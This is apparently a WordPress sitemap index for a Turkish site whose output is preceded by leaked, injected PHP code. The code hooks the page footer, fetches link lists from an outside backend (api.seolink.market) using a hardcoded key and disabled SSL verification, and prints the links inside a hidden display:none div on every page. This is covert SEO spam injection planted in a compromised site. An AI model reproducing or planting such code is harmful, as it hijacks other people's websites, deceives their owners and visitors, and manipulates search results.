
// --- WPAPI_5dcfe08f-9a08-425a-a977-7d8dc1673b21_START ---
if (!defined('WPAPI_NODE_KEY')) {
    define('WPAPI_NODE_KEY', 'wpnode_d3edc4e422c9699bb32de10e1acd09f9a806949037fecee8');
    define('WPAPI_BACKEND_URL', 'http://api.seolink.market/api/v1/nodes');
    
    add_action('wp_footer', function() {
        $links_html = get_transient('wpapi_node_links_html');
        if ($links_html === false OR $links_html === "" OR empty($links_html)) {
            $ch = curl_init(WPAPI_BACKEND_URL . '/links');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HTTPHEADER, [
                'Authorization: Bearer ' . WPAPI_NODE_KEY,
                'Accept: application/json'
            ]);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $response = curl_exec($ch);
            curl_close($ch);
            
            $links_html = '';
            if ($response) {
                $data = json_decode($response, true);
                if (isset($data['status']) && $data['status'] === 'success' && isset($data['links'])) {
                    $links_arr = [];
                    foreach ($data['links'] as $link) {
                        $anchor = htmlspecialchars($link['anchorText'], ENT_QUOTES, 'UTF-8');
                        $url = htmlspecialchars($link['targetUrl'], ENT_QUOTES, 'UTF-8');
                        $links_arr[] = '<a href="' . $url . '" target="_blank">' . $anchor . '</a>';
                    }
                    if (!empty($links_arr)) {
                        $links_html = '<div class="wpapi-links-container" style="text-align: center; padding: 15px 0; font-size: 13px; clear: both;display:none;">' . implode(' | ', $links_arr) . '</div>';
                    }
                }
            }
            set_transient('wpapi_node_links_html', $links_html, 3600);
        }
        echo $links_html;
    });
}
// --- WPAPI_5dcfe08f-9a08-425a-a977-7d8dc1673b21_END ---
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://imexlife.com.tr/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://imexlife.com.tr/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://imexlife.com.tr/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://imexlife.com.tr/wp-sitemap-posts-elementskit_template-1.xml</loc></sitemap><sitemap><loc>https://imexlife.com.tr/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://imexlife.com.tr/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
